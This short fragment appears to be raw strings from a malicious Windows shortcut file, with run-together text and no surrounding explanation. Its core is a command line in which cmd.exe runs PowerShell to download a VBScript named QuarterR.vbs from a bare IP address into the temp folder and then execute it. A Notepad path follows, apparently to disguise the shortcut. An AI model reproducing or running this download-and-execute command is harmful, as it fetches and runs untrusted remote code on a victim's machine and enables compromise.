Windows
System32
cmd.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32h/c powershell.exe iwr -outf %tmp%\\QuarterR.vbs http://89.197.154.116/QuarterR.vbs & %tmp%\\QuarterR.vbsC:\Windows\System32\notepad.exe